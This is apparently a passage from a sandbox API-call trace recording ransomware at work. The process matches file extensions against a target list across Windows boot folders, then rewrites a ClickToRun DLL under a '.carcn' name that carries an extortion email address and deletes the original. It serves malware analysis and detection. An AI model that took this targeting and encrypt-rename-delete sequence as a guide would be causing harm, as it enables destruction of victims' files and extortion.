lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.644] lstrlenW (lpString=".docx") returned 5 [0291.644] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.644] lstrlenW (lpString=".pdf") returned 4 [0291.644] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.644] lstrlenW (lpString=".xls") returned 4 [0291.644] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.644] lstrlenW (lpString=".xlsx") returned 5 [0291.644] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.644] lstrlenW (lpString=".ppt") returned 4 [0291.644] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.644] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString=".zip") returned 4 [0291.644] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.644] lstrlenW (lpString=".rar") returned 4 [0291.644] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.644] lstrlenW (lpString=".bz2") returned 4 [0291.644] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.644] lstrlenW (lpString=".7z") returned 3 [0291.644] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.644] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString=".dbf") returned 4 [0291.644] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.644] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString=".1cd") returned 4 [0291.644] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.644] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0291.644] lstrlenW (lpString=".jpg") returned 4 [0291.645] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.645] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.645] lstrlenW (lpString="memtest.exe.mui") returned 15 [0291.645] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.645] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=45984) returned 1 [0291.645] CloseHandle (hObject=0x334) returned 1 [0291.645] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0291.645] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.645] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.645] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.645] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.645] lstrlenW (lpString=".doc") returned 4 [0291.645] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.645] lstrlenW (lpString=".docx") returned 5 [0291.645] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.645] lstrlenW (lpString=".pdf") returned 4 [0291.646] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.646] lstrlenW (lpString=".xls") returned 4 [0291.646] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.646] lstrlenW (lpString=".xlsx") returned 5 [0291.646] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.646] lstrlenW (lpString=".ppt") returned 4 [0291.646] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.646] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.646] lstrlenW (lpString=".zip") returned 4 [0291.646] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.646] lstrlenW (lpString=".rar") returned 4 [0291.646] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.646] lstrlenW (lpString=".bz2") returned 4 [0291.646] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.646] lstrlenW (lpString=".7z") returned 3 [0291.646] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.646] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.646] lstrlenW (lpString=".dbf") returned 4 [0291.646] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.646] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.646] lstrlenW (lpString=".1cd") returned 4 [0291.646] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.646] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.646] lstrlenW (lpString=".jpg") returned 4 [0291.646] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.646] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.646] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.646] lstrlenW (lpString=".doc") returned 4 [0291.646] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.646] lstrlenW (lpString=".docx") returned 5 [0291.646] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.646] lstrlenW (lpString=".pdf") returned 4 [0291.646] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.646] lstrlenW (lpString=".xls") returned 4 [0291.646] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.646] lstrlenW (lpString=".xlsx") returned 5 [0291.646] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.646] lstrlenW (lpString=".ppt") returned 4 [0291.646] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.647] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.647] lstrlenW (lpString=".zip") returned 4 [0291.647] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.647] lstrlenW (lpString=".rar") returned 4 [0291.647] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.647] lstrlenW (lpString=".bz2") returned 4 [0291.647] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.647] lstrlenW (lpString=".7z") returned 3 [0291.647] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.647] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.647] lstrlenW (lpString=".dbf") returned 4 [0291.647] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.647] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.647] lstrlenW (lpString=".1cd") returned 4 [0291.647] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.647] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0291.647] lstrlenW (lpString=".jpg") returned 4 [0291.647] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.647] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.647] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0291.647] CreateFileW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.647] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=77664) returned 1 [0291.647] CloseHandle (hObject=0x334) returned 1 [0291.648] GetFileAttributesW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0291.648] GetFileAttributesW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.648] CreateFileW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.648] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.648] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.648] lstrlenW (lpString=".doc") returned 4 [0291.648] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.648] lstrlenW (lpString=".docx") returned 5 [0291.648] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.648] lstrlenW (lpString=".pdf") returned 4 [0291.648] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.648] lstrlenW (lpString=".xls") returned 4 [0291.648] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.648] lstrlenW (lpString=".xlsx") returned 5 [0291.648] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.648] lstrlenW (lpString=".ppt") returned 4 [0291.648] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.648] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.648] lstrlenW (lpString=".zip") returned 4 [0291.648] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.648] lstrlenW (lpString=".rar") returned 4 [0291.648] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.648] lstrlenW (lpString=".bz2") returned 4 [0291.648] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.648] lstrlenW (lpString=".7z") returned 3 [0291.648] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.648] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.648] lstrlenW (lpString=".dbf") returned 4 [0291.648] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.648] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.648] lstrlenW (lpString=".1cd") returned 4 [0291.649] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.649] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.649] lstrlenW (lpString=".jpg") returned 4 [0291.649] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.649] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.649] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.649] lstrlenW (lpString=".doc") returned 4 [0291.649] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.649] lstrlenW (lpString=".docx") returned 5 [0291.649] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.649] lstrlenW (lpString=".pdf") returned 4 [0291.649] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.649] lstrlenW (lpString=".xls") returned 4 [0291.649] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.649] lstrlenW (lpString=".xlsx") returned 5 [0291.649] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.649] lstrlenW (lpString=".ppt") returned 4 [0291.649] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.649] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.649] lstrlenW (lpString=".zip") returned 4 [0291.649] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.649] lstrlenW (lpString=".rar") returned 4 [0291.649] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.649] lstrlenW (lpString=".bz2") returned 4 [0291.649] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.649] lstrlenW (lpString=".7z") returned 3 [0291.649] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.649] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.649] lstrlenW (lpString=".dbf") returned 4 [0291.649] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.649] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.649] lstrlenW (lpString=".1cd") returned 4 [0291.649] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.649] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0291.649] lstrlenW (lpString=".jpg") returned 4 [0291.649] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.650] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.650] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0291.650] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.650] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=75104) returned 1 [0291.650] CloseHandle (hObject=0x334) returned 1 [0291.650] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0291.650] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.650] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.650] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.651] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.651] lstrlenW (lpString=".doc") returned 4 [0291.651] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.651] lstrlenW (lpString=".docx") returned 5 [0291.651] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.651] lstrlenW (lpString=".pdf") returned 4 [0291.651] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.651] lstrlenW (lpString=".xls") returned 4 [0291.651] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.651] lstrlenW (lpString=".xlsx") returned 5 [0291.651] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.651] lstrlenW (lpString=".ppt") returned 4 [0291.651] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.651] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.651] lstrlenW (lpString=".zip") returned 4 [0291.651] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.651] lstrlenW (lpString=".rar") returned 4 [0291.651] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.651] lstrlenW (lpString=".bz2") returned 4 [0291.651] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.651] lstrlenW (lpString=".7z") returned 3 [0291.651] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.651] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.651] lstrlenW (lpString=".dbf") returned 4 [0291.651] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.651] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.651] lstrlenW (lpString=".1cd") returned 4 [0291.651] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.651] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.651] lstrlenW (lpString=".jpg") returned 4 [0291.652] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.652] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.652] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.652] lstrlenW (lpString=".doc") returned 4 [0291.652] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.652] lstrlenW (lpString=".docx") returned 5 [0291.652] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.652] lstrlenW (lpString=".pdf") returned 4 [0291.652] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.652] lstrlenW (lpString=".xls") returned 4 [0291.652] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.652] lstrlenW (lpString=".xlsx") returned 5 [0291.652] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.652] lstrlenW (lpString=".ppt") returned 4 [0291.652] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.652] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.652] lstrlenW (lpString=".zip") returned 4 [0291.652] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.652] lstrlenW (lpString=".rar") returned 4 [0291.652] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.652] lstrlenW (lpString=".bz2") returned 4 [0291.652] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.652] lstrlenW (lpString=".7z") returned 3 [0291.652] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.652] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.652] lstrlenW (lpString=".dbf") returned 4 [0291.652] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.652] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.652] lstrlenW (lpString=".1cd") returned 4 [0291.653] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.653] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0291.653] lstrlenW (lpString=".jpg") returned 4 [0291.653] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.653] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0291.653] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0291.653] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.653] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=76640) returned 1 [0291.653] CloseHandle (hObject=0x334) returned 1 [0291.653] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0291.654] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.654] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.654] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0291.654] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0291.654] lstrlenW (lpString=".doc") returned 4 [0291.654] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.654] lstrlenW (lpString=".docx") returned 5 [0291.654] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.654] lstrlenW (lpString=".pdf") returned 4 [0291.654] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.654] lstrlenW (lpString=".xls") returned 4 [0291.654] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.654] lstrlenW (lpString=".xlsx") returned 5 [0291.654] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.654] lstrlenW (lpString=".ppt") returned 4 [0291.654] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.654] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0291.654] lstrlenW (lpString=".zip") returned 4 [0291.654] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.654] lstrlenW (lpString=".rar") returned 4 [0291.654] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.654] lstrlenW (lpString=".bz2") returned 4 [0291.654] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.654] lstrlenW (lpString=".7z") returned 3 [0291.655] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.655] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0291.655] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=45472) returned 1 [0291.655] CloseHandle (hObject=0x334) returned 1 [0291.655] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0291.655] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.655] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.903] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.903] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0291.903] GetLastError () returned 0x0 [0291.903] ReadFile (in: hFile=0x354, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0291.941] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0291.942] ReadFile (in: hFile=0x354, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0291.942] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x114, lpOverlapped=0x0) returned 1 [0291.942] SetEndOfFile (hFile=0x360) returned 1 [0291.942] CloseHandle (hObject=0x360) returned 1 [0291.942] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.942] SetEndOfFile (hFile=0x354) returned 1 [0291.943] CloseHandle (hObject=0x354) returned 1 [0291.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0291.943] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0291.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.944] lstrlenW (lpString=".doc") returned 4 [0291.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.944] lstrlenW (lpString=".docx") returned 5 [0291.944] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0291.944] lstrlenW (lpString=".pdf") returned 4 [0291.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.944] lstrlenW (lpString=".xls") returned 4 [0291.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.944] lstrlenW (lpString=".xlsx") returned 5 [0291.944] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0291.944] lstrlenW (lpString=".ppt") returned 4 [0291.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.944] lstrlenW (lpString=".zip") returned 4 [0291.944] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.944] lstrlenW (lpString=".rar") returned 4 [0291.944] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.944] lstrlenW (lpString=".bz2") returned 4 [0291.944] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.945] lstrlenW (lpString=".7z") returned 3 [0291.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.945] lstrlenW (lpString=".dbf") returned 4 [0291.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.945] lstrlenW (lpString=".1cd") returned 4 [0291.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 